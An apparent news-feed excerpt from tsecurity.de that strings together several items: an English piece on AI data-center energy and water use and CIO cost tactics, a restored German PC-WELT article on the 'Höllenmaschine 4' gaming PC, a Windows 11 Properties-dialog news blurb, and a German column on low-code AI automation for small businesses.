    To deliver on this demand, AI data centers are being built out at an unprecedented rate, with Gartner forecasting that global spending on data centers over the next three years will increase 31.7% to surpass $650 billion, driven primarily by hyperscaler cloud providers building out AI foundations, and optimizing servers for heavy AI workloads.

    All this presents a significant strain on the energy grid as well as environmental sustainability, including:

    • The power double-down: The International Energy Agency (IEA) projects that global data center electricity consumption will more than double from about 415 to 945 TWh by 2030, primarily fueled by energy-intensive accelerated computing for AI.
    • The inference premium: AI workloads are vastly more demanding than standard web activities. A gen AI query consumes roughly 10 times the electricity of a conventional keyword search, or roughly 2.9 watt-hours as opposed to 0.3 watt-hours.
    • Water consumption: Cooling these dense clusters is highly resource intensive. Global AI-related water demand is expected to reach 4.2 to 6.6 billion cubic meters by 2027.

    The good news, however, is it’s not all out of the control of end user organizations and CIOs. Just as in the client-server era, through careful planning and execution, CIOs have the potential to significantly improve the performance, costs, and sustainability impacts of their AI application portfolio.

    Here are four recommendations to maximize value as you look across your AI applications and infrastructure estate.

    Revisit business objectives in light of AI

    AI applications and platforms bring several new headaches for CIOs and CFOs in terms of FinOps. The variable nature of AI vendor billing due to variable monthly token costs is just one well-known example. To avoid unpleasant surprises, be sure to carefully review vendor contracts to decipher pricing models. Look for what’s included in seat-based license fees and what’s added as variable charges for agentic AI usage.

    In addition, explore new metrics and KPIs such as intelligence per watt to help make sense of your return on AI. Just as miles per gallon helps us evaluate new car purchases, IPW can help to measure the computational efficiency of a system. It quantifies how much intelligence — typically measured in AI inferences, tokens processed, or model training iterations — a processor can deliver for every watt of electrical power it consumes.

    According to Max Romanenko, chief engineering officer at relational database platform EDB, cost per query tells you almost nothing in an agentic world where autonomous systems are spinning up databases, pipelines, and queries around the clock. “The metric that matters is intelligence per watt, how much useful AI you get for every unit of energy you spend,” he says. “It isn’t just an environmental number, it’s also a performance indicator.”

    With the measurements in place, you can then start to manage and optimize each layer in the AI stack from the infrastructure, or hyperscaler, layer to your own data and application layers.

    It’s important to bear in mind that high token usage isn’t necessarily a bad thing. It depends on the net value delivered by each AI application and use case. Managing and optimizing the AI stack is important, but you’ll also want to measure the business value being delivered by each of these applications so you can measure your return.

    Take a sovereign AI approach when evaluating hyperscalers

    As you work with hyperscalers like Amazon, Google and Microsoft, it’s important to understand how they charge and how much, but also their environmental footprints. For example, by reading their sustainability reports, you can find out their annual water consumption across their global data centers and compare them with other providers.

    In 2025, Amazon’s global data center operations used 0.12 liters of water per kilowatt-hour, which amounts to 2.5 billion gallons, or 5% of the annual water consumed by the metro Seattle area. The company has been able to operate more than seven times better than the industry average and have improved their water efficiency by 52% since 2021.

    As demand for cloud computing and AI grows, water efficiency is another important metric for CIOs to monitor within hyperscaler ESG reports. While not at the same level of regulation as scope 2 and 3 greenhouse gas (GHG) emissions reporting, enterprises need to pay increasing attention to water use efficiency (WUE) with water scarcity becoming a growing risk for hyperscalers.

    The key requisite at the infrastructure layer, though, is to ensure sovereign AI. This doesn’t mean you need to own everything, but you need control over your AI-driven operations when conditions change. With 71% of global executives stating that switching their primary AI vendor or model would be difficult if required today, it’s important to understand AI dependencies and be able to avoid vendor lock-in. 

    Control efficiency at the data layer

    The AI energy conversation has fixated on models and GPUs, but every agent, model, and inference call runs on the data layer beneath them, and that’s the one place a CIO can actually move the numbers.

    “You can’t control consumption at the model layer,” says Romanenko. “Agents consume what they consume. But you can control efficiency at the data layer, and for most enterprises that’s the only real lever they have. Optimize search, retrieval, and vector indexing where the work actually happens and you cut compute, cost, and carbon at the same time. Ignore it, and it’s like running the heat with every window open.”

    Ann Dunkin, distinguished professor of the practice at Georgia Tech, adds that CIOs who bring models in house and run them in their own infrastructure, or in the cloud infrastructure of their choosing, can have more control over the sustainability of inference, as well as of their costs and how their data is used.

    Fine tune the application layer

    When balancing a mix of commercial AI packages and custom-built code, costs can quickly spiral due to inefficient design and orchestration, redundant APIs, and unoptimized model routing.

    With inference calls costing approximately 10 times that of conventional web queries, for custom AI applications, it’s important to design them to only use probabilistic code where necessary. Since many custom applications utilize a combination of both probabilistic and deterministic code, this is exactly where software developers need to make smart choices in their designs.

    Other techniques to fine tune the application layer include semantic caching, intelligent model routing, and internal AI capability registries. “CIOs can implement intelligent routing solutions to select the most cost-efficient model for every prompt,” says Dunkin. “The most flexible routing solutions can drop into a user’s existing environment and orchestrate the actions of the company’s existing models.”

    For CIOs looking to maximize the business value of every AI application in their portfolio, these new considerations, including new metrics, tools and approaches from the infrastructure layer all the way up to the application layer, should be an essential part of the equation.

    ]]>         <![CDATA[Vier Grafikkarten, sechs CPU-Kerne: So sah vor 14 Jahren die Höllenmaschine 4 aus]]> https://tsecurity.de/de/3685665/it-nachrichten/vier-grafikkarten-sechs-cpu-kerne-so-sah-vor-14-jahren-die-hoellenmaschine-4-aus/ https://tsecurity.de/de/3685665/it-nachrichten/vier-grafikkarten-sechs-cpu-kerne-so-sah-vor-14-jahren-die-hoellenmaschine-4-aus/ Wed, 22 Jul 2026 10:34:12 +0200 📰 IT Nachrichten tsecurity.de

    Hinweis: Dieser Artikel erschien im MĂ€rz 2007 auf pcwelt.de. AnlĂ€sslich unseres 20‑jĂ€hrigen JubilĂ€ums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte fĂŒhren.

    Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestĂ€tigen. Und nun viel Spaß mit der vierten Höllenmaschine:

    Die PC-WELT Höllenmaschine 4 reprĂ€sentiert den Stand der PC-Technik. Die beste Hard- und Software ist gerade gut genug fĂŒr den ultimativen Rechnertraum. Auch die vierte Generation im Wert von 13.333 Euro können Sie wieder gewinnen.

    Das RĂŒckgrat des 22 Kilogramm schweren Cooler Master Cosmos II bildet eine massive Stahlkonstruktion. Zu den Besonderheiten des 300 Euro teuren Big-Towers gehören eine zentrale LĂŒftersteuerung, Kabelmanagement, FlĂŒgeltĂŒren und massig Platz: Das GehĂ€use besitzt allein elf LaufwerksschĂ€chte fĂŒr 3,5-Zoll-Festplatten und nimmt Hauptplatinen bis zum E-ATX-Formfaktor auf.

    Airbrush der Höllenmaschine 4

    FĂŒr das lodernde Airbrush und das seitliche Sichtfenster der Höllenmaschine 4 zeichnen sich die Casemodder Martin und Stefan Blass verantwortlich. Sein höllisch gutes Aussehen verdankt das GehĂ€use den international bekannten Casemoddern Martin und Stefan Blass. Auf ihrer Website können Sie sich von den FĂ€higkeiten der kunstfertigen Casemodder ĂŒberzeugen. Das preisgekrönte BrĂŒderpaar kĂŒmmert sich nicht nur um das teuflische Airbrush und bauliche VerĂ€nderungen wie das seitliche Sichtfenster, sondern zeichnet sich auch fĂŒr die Innenbeleuchtung der GehĂ€usemodifikation verantwortlich.

    Die GebrĂŒder haben fĂŒr den schönen Schein einen Multidimmer von Richter eingebaut, der LED-Ketten im GehĂ€useinnenraum und im Bodenbereich ansteuert. Über die beiliegende Fernbedienung wĂ€hlen Sie zwischen acht verschiedenen Grundfarben aus, regulieren die Helligkeit und definieren individuelle Farbwechsel.

    Bei der Asus Rampage IV Extreme paart sich eine erlesene Hauptplatinen-Ausstattung mit einem detailverliebten UEFI-Bios, das keine WĂŒnsche offen lĂ€sst: Die Sockel-LGA2011-Hauptplatine basiert auf dem Intel-Chipsatz X79. Das UEFI-Motherboard besitzt je acht SpeicherbĂ€nke, SATA- und USB-Ports sowie fĂŒnfmal 16x PCI-Express 3.0. Zur Sonderausstattung gehören CMOS-, Start- und Reset-Knopf, Diagnose-LED, Bluetooth-UnterstĂŒtzung und umfassende Übertaktungsoptionen, die sich zudem in Echtzeit ĂŒberwachen lassen.

    Prozessor: die schnellste Desktop-CPU der Welt

    Der Intel Core i7-3960X ist der aktuell schnellste Desktop-Prozessor im Test. Das Intel-Flaggschiff besitzt sechs CPU-Kerne und arbeitet dank Hyperthreading als virtueller 12‑Kern‑Prozessor. Der Werkstakt liegt bei 3,3 Gigahertz, in der Höllenmaschine 4 lĂ€uft der Core i7 mit 4 GHz. Berechnungen puffert der 3960X in einem dreistufigen Cache-System: So ist die dritte Cache-Stufe, die alle Prozessorkerne dynamisch nutzen können, 15 MB mĂ€chtig. Auf die erste und zweite Cache-Stufe mit 64 beziehungsweise 256 KB darf hingegen jeder CPU-Kern exklusiv zugreifen.

    Eine der wichtigsten exklusiven Funktionen der LGA2011-Baureihe ist der integrierte Speicher-Controller, der vier DDR3-KanĂ€le gleichzeitig ansteuert. Ebenfalls in der CPU verbaut sind 40 PCI-Express-3.0-KanĂ€le. Zur weiteren Ausstattung gehören der Schutz vor Angriffen durch einen Puffer-Überlauf (XD-Bit), zusĂ€tzliche BefehlssĂ€tze wie SSE 4.2 und das Advanced Encryption Standard Instruction Set (AES IS) sowie die Advanced Vector Extensions (AVX). Zudem unterstĂŒtzt der Prozessor die Virtualisierungs-Technik Intel VT sowie 32- und 64-Bit-Betriebssysteme – so lassen sich etwa virtuelle Workstations mit unterschiedlichen Betriebssystemen einrichten.

    Die WasserkĂŒhlung Cooler Master Eisberg 240L Prestige gibt die CPU-AbwĂ€rme ĂŒber einen Dual-Radiator an die Außenwelt ab, der zwei 120-Millimeter-LĂŒfter beherbergt. Das Rotationstempo der mit knapp 21 dB(A) sehr leisen LĂŒfter liegt bei 1600 Umdrehungen pro Minute. Im Microchannel-KĂŒhlblock arbeitet deutsche Pumpentechnik, die bis zu 400 Liter pro Stunde durch das KĂŒhlsystem schleudert und fĂŒr mindestens 50 000 Betriebsstunden ausgelegt ist. Der keramikbeschichtete Pumpenantrieb dreht sich mit bis zu 3600 Rotationen pro Minute.

    Grafik: 2x ASUS GTX690-4GD5 im Quad-SLI

    Um die Grafikdarstellung kĂŒmmert sich in der Höllenmaschine 4 die derzeit leistungsfĂ€higste Grafikkarte der Welt, die ASUS GTX690-4GD5. Kostenpunkt: knapp 1000 Euro pro StĂŒck. Die Karte beherbergt mit der Nvidia Geforce GTX 690 gleich zwei 915 Megahertz schnelle Grafikprozessoren, die gemeinsam die 3D-Berechnung ĂŒbernehmen.

    2x ASUS GTX690-4GD5 im Quad-SLI in der Höllenmaschine 4
    Quad-SLI in der Höllenmaschine 4 mit zwei ASUS GTX690-4GD5

    PC-WELT

    In der Höllenmaschine 4 sind gleich zwei der Asus-Doppeldecker, die ĂŒber eine SLI-BrĂŒcke (Scalable Link Interface) verbunden sind. So arbeiten insgesamt vier Grafikprozessoren parallel im Quad-SLI-Modus. In der Summe stehen damit die Rechen-Power von 6144 Shader- und 512 Textur-Einheiten sowie 128 Rasteroperatoren bereit. Dabei kann der Karten-Verbund auf 4 Gigabyte GDDR5-Videospeicher zugreifen, der mit einem effektiven Datentakt von 6000 MHz arbeitet. Jede Grafikkarte besitzt mit einem Mini-Displayport und dreimal DVI vier digitale AusgĂ€nge.

    Ausstattung der Höllenmaschine 4 im Überblick

    KomponenteModellPreis (Euro) am 31.8.2012
    GehÀuseCasemod auf Basis des Cooler Master Cosmos II1413
    HauptplatineAsus Rampage IV Extreme, Intel X79, LGA2011350
    ProzessorIntel Core i7-3960X, 3,30 GHz, 6 Kerne, 12 Theads900
    CPU-KĂŒhlungCooler Master Eisberg 240L Prestige180
    Arbeitsspeicher8 x 8 GB Adata XPG X Series PC3-17066U880
    Grafikkarte2 x Asus GTX690-4GD5, Nvidia Geforce GTX 6902000
    Bildschirme3 x ASUS VG278H, 27 Zoll, 3D-LED-LCD,1550
    SSD (System)OCZ RevoDrive 3 X2 480GB, PCI-Express, 4fach Raid-0650
    Festplatten (Daten intern)4 x Western Digital VelociRaptor 1000GB, Raid-51000
    Festplatten (Daten extern)2 x Western Digital Caviar Green 3000GB300
    Blu-ray-BrennerAsus BW-12B1ST, SATA100
    NetzteilCooler Master Silent Pro Hybrid 1300W250
    EingabegerÀtLogitech G9x Laser Mouse und G19 Gaming Keyboard200
    Lautsprecher-SetLogitech Z906, 5.1 System250
    HeadsetLogitech G930 Wireless Gaming Headset150
    BetriebssystemMicrosoft Windows 7 Ultimate 64 Bit160
    Multimedia-PaketAdobe Creative Suite 6 Design & Web Premium2000
    Spiele-Paket18 Top-Titel600
    Office-PaketMicrosoft Office Professional 2010400
    Höllenmaschine 4 mit geöffneter FlĂŒgeltĂŒr

    PC-WELT

    Monitore: PC-Spiele in 3D auf 3 Panels gleichzeitig

    Der Höllenmaschine 4 stellen wir den 27-Zoll-Bildschirm ASUS VG278H zur Seite. Die physikalische Auflösung des 120-Hertz-Monitors betrĂ€gt 1920 x1080 Pixel, die Reaktionszeit 2 Millisekunden. Die LED-Hintergrundbeleuchtung erzielt eine Helligkeit von 300 cd/m2 und unterstĂŒtzt die Lightboost-Technik und damit natĂŒrlich auch Nvidia 3D Vision 2 – eine Technologie, die das Spielen in der dritten Dimension möglich macht. Im Lieferumfang des Asus-LCDs ist das “Nvidia 3D Vision”-Set aus Infrarot-Sender (integriert im Bildschirmrahmen) und Shutter-Brille enthalten. Der VG278H bietet mit DVI, HDMI und D-Sub drei VideoeingĂ€nge sowie einen Kopfhöreranschluss.

    Ein großer 27-Zoll-Monitor ist gut, doch drei ASUS VG278H sind besser. Die gebĂŒndelte Auflösung des Bildschirm-Trios von 5760 x 1080 Pixeln erlaubt einen Desktop, auf dem sich bequem arbeiten lĂ€sst: Da kann man zahlreiche Fenster in ihrer vollen GrĂ¶ĂŸe geöffnet lassen, und behĂ€lt dennoch den Überblick. Interessant ist diese große Arbeitsumgebung auch fĂŒr Grafiker und Video-Bearbeiter, die dadurch gleich mehrere Projekte am Laufen halten, ohne eines schließen zu mĂŒssen.

    Ernsthaften PC-Spielern kann dagegen die BildschirmgrĂ¶ĂŸe nicht groß genug sein – denn sie bedeutet grĂ¶ĂŸere Übersicht und ein realistischeres Spielerlebnis. So fĂŒllt etwa die wunderschöne Landschaft in Skyrim die volle Breite der drei Monitore aus und wirkt dadurch schon fast wie ein echter Horizont, der Lust auf das Erkunden macht. Dank der brachialen Leistung der Höllenmaschine 4 und Nvidia 3D Vision Surround geht das auch flĂŒssig in stereoskopischem 3D.

    Arbeitsspeicher: Quad-Channel mit 64 Gigabyte

    Speicher kann man nie genug haben! Die acht Module Adata XPG X Series PC3-17066U mit jeweils 8 Gigabyte KapazitĂ€t steuert der Controller in der Intel-CPU im Vierkanal-Modus an. Die Module laufen mit 10-11-11-30er-Zugriffszeiten. Der mit dem Extreme Memory Profile (XMP) effektiv 2133 Megahertz schnelle Arbeitsspeicher beschert der Höllenmaschine 4 eine Speicherbandbreite von ĂŒber 45 Gigabyte pro Sekunde. Da macht Virtualisierung so richtig Spaß.

    PCI-Express-SSD, 4 WD VelociRaptor und 4 WD Caviar Green

    Das Betriebssystem und alle Programme dĂŒrfen auf der Solid State Drive OCZ RevoDrive 3 X2 480GB Platz nehmen. Die Flashspeicher-Festplatte arbeitet mit vier Sandforce-SF-2281-Controllern intern als Raid-0-Verbund. Dadurch erreicht die SSD eine Datentransferrate von in der Spitze fast 1400 Megabyte pro Sekunde und einen Befehlsdurchsatz von bis zu 230.000 IOPS beim zufĂ€lligen Schreiben von 4-KB-Blöcken. Eine herkömmliche SATA-Schnittstelle wĂŒrde das OCZ-Modell ausbremsen, deswegen setzt das RevoDrive auf einen PCI-Express-Anschluss.

    OCZ RevoDrive 3 X2: SSD der Höllenmaschine 4
    Die erste SSD in einer Höllenmaschine: OCZ RevoDrive 3 X2

    OCZ/Kioxia

    Das interne Backup ĂŒbernimmt ein RAID-5‑Verbund aus vier 1-Terabyte-Festplatten. Dabei kommt das derzeit schnellste 3,5-Zoll-Laufwerk im Test zum Einsatz, die Western Digital VelociRaptor WD1000DHTZ. Die VelociRaptor rotiert mit 10.000 Umdrehungen pro Minute und puffert Zugriffe in einem 64 MB großen Cache. Die maximale Datenrate der Festplatte liegt bei 210 Megabyte pro Sekunde, die durchschnittliche Zugriffszeit bei 3,7 Millisekunden. Als RAID-5‑Verbund kommt das Platten-Quartett auf bis zu 560 Megabyte pro Sekunde und stellt dabei noch knapp 2,7 Gigabyte nutzbare KapazitĂ€t zur VerfĂŒgung.

    Die Aufgabe des klassischen Massenspeichers fĂŒr umfangreiche Foto-, Musik- und Videosammlungen ĂŒbernehmen die beiden 3,5-Zoll-Festplatten Western Digital Caviar Green 3000GB WD30EZRX. Die besonders stromsparenden Laufwerke stecken in den zwei abschließbaren Hot-Swap-SchĂ€chten der Höllenmaschine 4. So lassen sich schnell und bequem knapp 5,5 Terabyte nutzbarer Speicherplatz im laufenden Betrieb an- und abstöpseln oder auch mal unkompliziert von A nach B tragen.

    Stromversorgung: bis zu 105 Ampere auf der 12-Volt-Schiene

    Keine Kompromisse machen wir bei der Stromversorgung der Höllenmaschine 4. Das Cooler Master Silent Pro Hybrid 1300W bietet genĂŒgend Reserven, um alle Komponenten zuverlĂ€ssig mit Energie zu versorgen. Das vollstĂ€ndig modulare Netzteil stellt auf der 12-Volt-Schiene in der Spitze bis zu 105 Ampere bereit und federt damit auch locker die Lastspitzen der stromhungrigen Grafikkarten ab.

    Aufgrund der “80 PLUS Gold“-Zertifizierung arbeitet das ATX-2.3-Kraftpaket mit einem Wirkungsgrad von ĂŒber 90 Prozent trotzdem sehr energieeffizient. Dank der semipassiven KĂŒhlung ist das 1300-Watt-Netzteil aber auch flĂŒsterleise. Zudem erlaubt die im Lieferumfang enthaltene 5,25-Zoll-LĂŒftersteuerung neben dem automatischen Modus ein stufenlos regulierbares Drehtempo fĂŒr den 130-Millimeter-LĂŒfter – bei harter Dauerbelastung drehen Sie den Regler einfach voll auf.

    Um optische Massenspeicher kĂŒmmert sich der Blu-ray-Brenner Asus BW-12B1ST. Das Multi-Norm-Laufwerk versteht sich aber auch auf alle gĂ€ngigen CD- und DVD-Formate. Bei maximal 12-fachem Schreibtempo fĂŒllt das Asus-Modell einen einlagigen 25-GB-BR-Rohling in rund 11 Minuten. BD-REs beschreibt das SATA-Laufwerk mit 2-fachem Tempo, Blu-ray-Medien liest er mit 8-facher Geschwindigkeit. Im Lieferumfang des Asus BW-12B1ST ist Software fĂŒr das Backup, Brennen und Abspielen von Blu-rays enthalten.

    Peripherie: Luxus-EingabegerÀte und 5.1-Raumklang

    Die Logitech G9x Laser Mouse kommt mit einem 4-Wege-Scrollrad und löst mit bis zu 5700 dpi auf. Die USB-Maus besitzt eine anpassbare Griffschale sowie ein bis auf 28 Gramm aufrĂŒstbares Gewichtsmagazin. Der interne Speicher sichert bis zu fĂŒnf Profile fĂŒr individuelle Tastatur-Makros und Abtastraten.

    Das Logitech G19 Gaming Keyboard besitzt ein integriertes Farb-LCD, das in Echtzeit Spiele-Informationen wie die Server-IP-Adresse oder den Punktestand fĂŒr ĂŒber 35 Titel anzeigt. Die G19 erlaubt verschiedene Beleuchtungsfarben und hat 12 voll programmierbare G-Tasten sowie Sondertasten fĂŒr den schnellen Multimedia-Zugriff. Das Logitech-Modell fungiert aber auch als aktiver 2-fach-USB-Hub und ĂŒberrascht mit einer KabelfĂŒhrung auf der Unterseite fĂŒr Maus und Headset.

    Logitech G19 Gaming Keyboard

    Logitech

    Das THX-zertifizierte Lautsprecherset Logitech Z906 bietet 5.1-Raumklang mit digitaler Dolby- und DTS-Decodierung. Bis zu sechs digitale und analoge Audioquellen lassen sich gleichzeitig an die Bedienkonsole anschließen. Alternativ bedienen Sie das 500-Watt-Lautsprechersystem kabellos ĂŒber die Fernbedienung.

    Wer nachts die Nachbarn nicht stören darf, greift zum Logitech G930 Wireless Gaming Headset. Das funkt digital mit 2,4 Gigahertz zehn Stunden lang ĂŒber eine Reichweite von bis zu 12 Metern. Das Headset kommt mit drei programmierbaren Tasten, GerĂ€uschunterdrĂŒckung und Kondensatormikrofon. Dank der Dolby-Technik Headphone und Pro Logic II kann das G930 sogar 7.1-Surround-Sound simulieren.

    Kreativ-, Spiele- und Office-Paket fĂŒr 4000 Euro

    Auf der Höllenmaschine 4 vorinstalliert haben wir das 64-Bit-Betriebssystem Windows 7 Ultimate. FĂŒr das Microsoft-Betriebssystem haben wir uns auch wegen der DirectX-11-UnterstĂŒtzung entschieden. Das laut Windows-Experte Hermann Apfelböck “beste Windows aller Zeiten” verwöhnt in der multilingualen Ultimate-Variante mit den exklusiven Funktionen Bitlocker-VerschlĂŒsselung und dem nĂŒtzlichen VHD-Boot.

    Dazu gibt es drei fette Software-Pakete frei Haus. Das Highlight fĂŒr Kreative ist die Adobe Creative Suite 6 Design & Web Premium. Die „Rundum glĂŒcklich“-Lösung fĂŒr professionelle Bildbearbeitung, Layout und Website-Design integriert die Digital Publishing Suite und enthĂ€lt folgende Programme und Werkzeuge: Acrobat X Pro, Bridge, Dreamweaver, Flash Builder, Flash Professional, Fireworks, Illustrator, InDesign, Media Encoder und Photoshop Extended.

    Was zum Spielen spendiert Grafikspezialist Nvidia der Höllenmaschine 4. Das Gaming-Paket enthĂ€lt die AAA-Titel Alan Wake Collector’s Edition, Batman: Arkham City, Battlefield 3, Borderlands, Call of Duty: Modern Warfare 3, Crysis 2, Diablo 3, Deus Ex: Human Revolution, Duke Nukem Forever, L.A. Noire, Mass Effect 3, Max Payne 3, Metro 2033, Rage, Skyrim, Starcraft II: Wings of Liberty, Star Wars. The Old Republik, The Witcher 2: Assassins of Kings.

    Und wer die Höllenmaschine im BĂŒroeinsatz unterfordern will, installiert Microsoft Office Professional 2010. Das Paket enthĂ€lt die Programme Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, SharePoint, Word und Workspace.

    Hinweis: Hier endet der Artikel ĂŒber die Höllenmaschine 4 aus dem Jahre 2014.

    So gewinnen Sie die HMX 6

    Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern:

    Gewinnen Sie hier die HMX 6

    Wie Sie die HMX 6 verfolgen können

    In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natĂŒrlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestĂ€tigen.

    ]]>         <![CDATA[First look: Windows 11 is replacing Windows 95-era Properties dialog, now with dark mode and WinUI]]> https://tsecurity.de/de/3685594/windows-tipps/first-look-windows-11-is-replacing-windows-95-era-properties-dialog-now-with-dark-mode-and-winui/ https://tsecurity.de/de/3685594/windows-tipps/first-look-windows-11-is-replacing-windows-95-era-properties-dialog-now-with-dark-mode-and-winui/ Wed, 22 Jul 2026 10:13:21 +0200 đŸȘŸ Windows Tipps tsecurity.de Microsoft has finally begun replacing the decades-old File Explorer Properties dialog with a modern version, as part of the company’s efforts to modernize Windows 11. Thankfully, the new Properties dialog is built using the native WinUI framework, and we’re not seeing any traces of a WebView2-based shell. Right now, the Properties dialog is native to [
]

    The post First look: Windows 11 is replacing Windows 95-era Properties dialog, now with dark mode and WinUI appeared first on Windows Latest

    ]]>         <![CDATA[So sparen MittelstĂ€ndler 6 Monate Implementierungszeit]]> https://tsecurity.de/de/3685217/it-security-nachrichten/so-sparen-mittelstaendler-6-monate-implementierungszeit/ https://tsecurity.de/de/3685217/it-security-nachrichten/so-sparen-mittelstaendler-6-monate-implementierungszeit/ Wed, 22 Jul 2026 06:10:26 +0200 📰 IT Security Nachrichten tsecurity.de
    Devs App 16z9
    KI und Low-Code gehen gut zusammen – und können MittelstĂ€ndler entscheidend voranbringen, wenn die Voraussetzungen stimmen.

    dotshock | shutterstock.com

    Es wĂŒrde mich nicht wundern, wenn Ihnen dieses Szenario bekannt vorkommt. Denn Situationen wie diese sind keine Ausnahme. Laut der Trovarit-Studie „ERP in der Praxis 2024/25“, fĂŒr die ĂŒber 1.700 DACH-Unternehmen befragt wurden, nimmt eine typische ERP-EinfĂŒhrung im Mittelstand zwischen zehn und dreizehn Monaten in Anspruch. Parallel werden in mehr als der HĂ€lfte der Projekte Zeit- oder Budgetziele nicht eingehalten. Die Implementierungskosten pro Nutzer liegen demnach bei durchschnittlich 5.917 Euro, wobei Schulung, Datenmigration und Anpassung 50 bis 70 Prozent der Gesamtkosten ausmachen – nicht die Lizenz.

    FĂŒr einen Konzern mit 800 Mitarbeitern, SAP-Legacy und drei Produktionsstandorten sind das keine Schreckenszahlen. FĂŒr einen Immobilienmakler mit 40 Mitarbeitern, der seine Angebote automatisiert versenden will oder einen Steuerberater, der Mandantenpost automatisch klassifizieren möchte, durchaus. Diese MittelstĂ€ndler brauchen kein ERP-Projekt, sondern im Wesentlichen drei funktionierende Workflows.

    Das Low-Code-Versprechen – und die KMU-Praxis

    Low-Code– und KI-Automatisierungsplattformen wie n8n oder Make.com versprechen, die LĂŒcke zwischen ERP-Großprojekt und Stillstand aufzulösen. Dabei ist anzumerken, dass beide Plattformen keinen Ersatz fĂŒr ein ERP darstellen: Sie substituieren keine StĂŒcklisten-Verwaltung, keine mehrstufige Fertigungsplanung und keine IFRS-Konsolidierung. DafĂŒr ist weiterhin ein ERP nötig.

    Aber Plattformen wie die beiden genannten stellen Verbindungen zwischen Systemen her, die keine native Schnittstelle haben. Entscheidungen automatisieren, die nach klaren Regeln getroffen werden und Workflows bauen, die bisher ĂŒber E-Mail, Excel-Export und Telefonanruf abgewickelt werden – das sind fĂŒr den deutschen Mittelstand oft genau die Prozesse, die tĂ€glich die meiste Zeit kosten und zugleich selten im ERP verortet sind. Vielmehr sitzen diese in Outlook-Ordnern, in freigegebenen TabellenblĂ€ttern und in den Routinen von Mitarbeitern, die „das schon immer so machen”.

    Das KfW-Mittelstandspanel vom Februar 2026 (PDF) stellt fest, dass 20 Prozent der mittelstĂ€ndischen Unternehmen in Deutschland KI einsetzen – fĂŒnfmal mehr als noch im Jahr 2018. Bei Unternehmen mit ĂŒber 50 Mitarbeitern liegt die Quote bereits bei 36 Prozent. KI ist im Mittelstand also angekommen. Die Frage ist nur, in welcher Form. Hier hilft ein Blick auf die KPMG-Studie „Digitalisierung im Rechnungswesen 2025/2026“. Demnach:

    • setzen 53 Prozent der Befragten KI in der Buchhaltung ein oder befinden sich gerade in der EinfĂŒhrungsphase.
    • berichten 37 Prozent dadurch von sofortigen Zeiteinsparungen bei transaktionalen Prozessen.

    Was diese Studien allerdings nicht zeigen, ist der Implementierungsaufwand. Und genau hier liegt der große Unterschied zwischen dem KI-Einsatz per Low-Code und einem ERP-EinfĂŒhrungsprojekt. Das verdeutlichen die folgenden drei AnwendungsfĂ€lle fĂŒr KMU im Bereich KI und Low-Code. Diese sind dazu geeignet, innerhalb von Wochen (statt Monaten oder Jahren) Ergebnisse zu liefern:

    • Rechnungseingang: PDF-Rechnungen oder XRechnung-Dokumente entgegennehmen, relevante Felder per KI extrahieren und gegen ERP-Stammdaten prĂŒfen oder vorkontierte BuchungsvorschlĂ€ge generieren – was frĂŒher ein Buchhalter tĂ€glich in Stunden manuell erledigte, kann heute als Hintergrundprozess laufen. Dabei werden Fehler weiterhin von Menschen ĂŒberprĂŒft, statt automatisch in die Buchung zu laufen. Die typische Implementierungszeit hierfĂŒr liegt (in ĂŒberschaubaren Setups) bei zwei bis vier Wochen.
    • Angebotsmanagement: Eine Kundenanfrage geht per E-Mail ein, KI extrahiert den Leistungsumfang, prĂŒft gegen Preislisten, generiert einen Angebotsentwurf und leitet ihn zur Freigabe an einen Sachbearbeiter weiter. Der Kunde bekommt sein Angebot schneller, die Bearbeitung kostet weniger Zeit. Dabei ist kein ERP-Modul beteiligt – und es fĂ€llt keine siebenstellige Projektsumme an.
    • Mandantenpost bei Steuerberatern: Eingehende Dokumente werden nach Typ und Dringlichkeit klassifiziert und ZustĂ€ndigkeiten zugewiesen. Was in Kanzleien mit hohem Postaufkommen tĂ€glich zu EngpĂ€ssen fĂŒhrt, lĂ€sst sich so als regelbasierter Workflow abbilden – ganz ohne großes DATEV-EinfĂŒhrungsprojekt.

    Woran Low-Code und KI scheitern – und wie Sie das verhindern

    Das grĂ¶ĂŸte operative Risiko bei Low-Code-Projekten ist Schatten-IT, beziehungsweise -KI. So hat der Digitalverband Bitkom in einer Befragung vom Oktober 2025 herausgefunden, dass 17 Prozent der Umfrageteilnehmer davon ausgehen, dass ihre Mitarbeiter KI-Tools ĂŒber private Accounts dienstlich nutzen. Bei weiteren 17 Prozent gab es diesbezĂŒglich vereinzelte FĂ€lle – und bei acht Prozent ist dieses Gebaren weit verbreitet. Sind in einem solchen Fall Kundendaten im Spiel, handelt es sich um einen DSGVO-Verstoß ohne Auftragsverarbeitungsvertrag als Grundlage. Insofern braucht eine Low-Code-Strategie klare Nutzungsrichtlinien – ansonsten tauscht man ein ERP-Risiko gegen ein Compliance-Risiko, was eher kein Fortschritt wĂ€re.

    DarĂŒber hinaus können Low-Code-Plattformen bei hochspezialisierten Logikstrukturen (mehrstufige Produktionsplanung, Konzernkonsolidierung, ISO-zertifizierte Auditpfade) an strukturelle Grenzen stoßen. Und: Der Vendor Lock-in ist real – proprietĂ€re Plattformen lassen sich schlecht migrieren. Hier haben Open-Source- und Self-Hosting-Lösungen einen strukturellen Vorteil. Allerdings ist auch das kein Garant dafĂŒr, dass AbhĂ€ngigkeiten kĂŒnftig ausbleiben.

    Vor diesem Hintergrund empfehle ich MittelstÀndlern, sich an den folgenden drei Schritten zu orientieren, um ihre Low-Code-KI-Ambitionen nachhaltig zu verwirklichen.

